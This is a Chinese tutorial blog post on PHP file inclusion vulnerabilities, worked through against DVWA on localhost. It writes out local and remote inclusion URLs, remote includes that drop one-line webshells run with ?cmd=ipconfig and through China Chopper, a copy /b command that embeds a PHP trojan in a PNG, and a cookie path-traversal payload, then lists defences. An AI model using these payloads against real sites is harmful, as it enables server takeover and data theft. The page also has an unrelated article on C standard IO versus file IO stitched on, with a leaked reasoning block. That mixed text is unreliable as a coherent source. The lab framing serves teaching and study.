文件包含漏洞详谈

文件包含

将重复使用的函数写到单个文件中,需要使用某个函数时,调用这个文件即可,这种文件调用过程称为文件包含

 

文件包含漏洞

程序开发人员希望代码更灵活,将包含的文件设置为变量,用来进行动态调用,导致客户端可以调用一个恶意文件,造成文件包含漏洞

分为:本地文件包含漏洞和远程文件包含漏洞

 

文件包含漏洞成因

网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了包含功能),攻击者可以通过修改包含文件的位置来让后台执行任意文件

 

 

文件包含函数

include() 执行到include时才包含文件,找不到被包含文件时提示警告,但脚本会继续执行

require() 只要程序已运行就包含文件,找不到被包含的文件时就会产生严重错误,并停止脚本运行

 

 

dvwa文件包含实验

本地文件包含

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=file1.php

将参数值换为本地的文件,发送请求:

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=c:\windows\system32\drivers\etc\hosts

发现成功读取本地文件

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=file://c:\windows\system32\drivers\etc\hosts

此时参数是一个file协议,一样可以成功读取

 

远程文件包含

首先修改php.ini文件中的配置(重点)

allow_url_fopen = On 默认打开,其他都是默认关闭

allow_url_include = On

magic_quotes_gpc = off

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/info.txt

得到当前系统的敏感信息

 

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/cmd.txt

会在本地的fi文件夹中生成一个cmd250.php文件,文件内容为一句话木马

然后http://127.0.0.1:8086/dvwa/vulnerabilities/fi/cmd250.php?cmd=ipconfig,控制当前系统的服务器

 

http://127.0.0.1:8086/dvwa/vulnerabilities/fi/?page=http://192.168.101.133/fileinclude/filein1.txt

会在本地的fi文件夹中生成一个newfile1.php文件,文件内容为一句话木马,使用菜刀,添加shell,地址栏里输入http://127.0.0.1:8086/dvwa/vulnerabilities/fi/newfile1.php,密码为123,添加成功后双击该shell,发现获得了系统的C盘与D盘

 

文件包含结合文件上传

在cmd中,先切到所执行文件的路径下,执行copy /b 001.png + muma.php new001.png 会生成一个新的包含木马的图片文件new001.png,切换到高级别,进行文件上传,将生成的木马图片文件上传,拷贝成功上传提醒前面的文件相对路径,切换到低级,使用生成的图片文件进行文件包含,也就是将参数改为之前拷贝的相对路径,发送请求

 

cookie文件包含

发送请求 127.0.0.1:8086/fileinclude/cookiein,抓包,将cookie值改为 temp=..\..\windows\system32\drivers\etc\hosts,重放请求,发现文件执行成功

 

第五行代码中的路径为任意路径

 

 

文件包含漏洞防范:

1 尽量硬编码文件名称,如aaa.php,不要以变量的形式动态变化

2 过滤:http:// , https:// , ../../等

3 配置文件php.ini中的三个开关都设为关闭

4 采用白名单方式,未出现在白名单中的一律禁止

<think>嗯,用户想了解标准IO和文件IO的区别及详细使用方法。我需要先回顾一下相关知识,确保自己理解正确。根据提供的引用内容,标准IO是C库函数,比如fopen、fclose这些,而文件IO是系统调用,比如open、read、write。区别主要在于缓冲机制和应用层与内核层的交互。 首先,标准IO有缓冲区,数据先存到应用层的缓冲区,等满了或者满足条件时才调用系统调用写入内核缓冲区。这样可以减少系统调用的次数,提高效率。而文件IO每次操作都是直接系统调用,没有缓冲,适合需要实时读写的场景,比如设备文件或者网络套接字。 接下来,用户可能想知道具体的使用方法,比如函数列表和例子。需要分别列出标准IO和文件IO常用的函数,比如fopen对应open,fread对应read等。同时,要说明它们的参数和用法差异,比如标准IO用FILE指针,文件IO用文件描述符。 另外,用户可能关心它们的适用场景。比如标准IO适合普通文件操作,尤其是需要频繁读写的情况,而文件IO适合底层操作或者特殊文件类型。需要结合引用中的例子,比如标准IO的缓冲区大小如何计算,以及文件IO如何直接操作设备文件。 还要注意用户可能的误区,比如标准IO和文件IO是否可以混用。需要提醒他们避免混用,因为缓冲机制可能导致数据不一致。此外,错误处理的方式也不同,标准IO用ferror,文件IO用errno。 最后,生成相关问题时要覆盖性能分析、缓冲区设置、实际应用例子、错误处理和适用场景比较。这样用户可以根据问题进一步深入学习。</think>### 标准IO与文件IO的区别及详细使用方法 #### 一、核心区别 1. **层级与封装关系** - **标准IO**:应用层C库函数(如$fopen$, $fread$),对文件IO进行封装,自带缓冲机制[^1][^2] - **文件IO**:系统级调用(如$open$, $read$),直接操作内核接口,无缓冲[^1][^2] 2. **缓冲机制** - **标准IO**: - 全缓冲:默认模式,缓冲区满或调用$fflush$时触发系统调用 - 行缓冲:终端设备专用(如$stdout$),遇换行符或缓冲区满时触发 - 无缓冲:$stderr$等特殊场景[^3] - **文件IO**:无缓冲,每次调用$write$立即写入内核缓冲区 3. **性能对比** - 标准IO通过减少系统调用次数提升效率(例如连续写入10次数据仅触发1次$write$)[^1] - 文件IO适合实时性要求高的场景(如设备驱动开发) #### 二、具体使用对比 | 操作类型 | 标准IO函数 | 文件IO函数 | 参数差异 | |----------|-------------------------|----------------|------------------------| | 打开文件 | `FILE *fopen()` | `int open()` | 权限模式、返回值类型不同 | | 读取数据 | `size_t fread()` | `ssize_t read()` | 需指定FILE指针 vs 文件描述符 | | 写入数据 | `size_t fwrite()` | `ssize_t write()` | 标准IO含缓冲,文件IO直接操作 | | 关闭文件 | `int fclose()` | `int close()` | 释放资源逻辑不同 | **标准IO示例:** ```c FILE *fp = fopen("test.txt", "w"); if(fp) { fwrite("Hello", 1, 5, fp); // 数据暂存应用层缓冲区 fclose(fp); // 触发实际写入 } ``` **文件IO示例:** ```c int fd = open("test.txt", O_WRONLY|O_CREAT, 0644); if(fd != -1) { write(fd, "Hello", 5); // 立即写入内核缓冲区 close(fd); } ``` #### 三、选型指南 1. **优先标准IO的场景** - 普通文件读写(文本/二进制) - 需要格式输入输出(如`fprintf`) - 频繁小数据量操作 2. **必须用文件IO的场景** - 设备文件操作(如`/dev`目录下设备) - 需要文件锁定(`fcntl`) - 非阻塞IO或异步IO操作 #### 四、注意事项 1. **避免混用**:同一文件不应同时使用两种IO方式,可能导致缓冲数据丢失 2. **错误处理**: - 标准IO通过`ferror()`检测错误 - 文件IO通过`errno`全局变量获取错误码 3. **缓冲区控制**:可通过`setvbuf()`修改标准IO缓冲策略[^3]
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值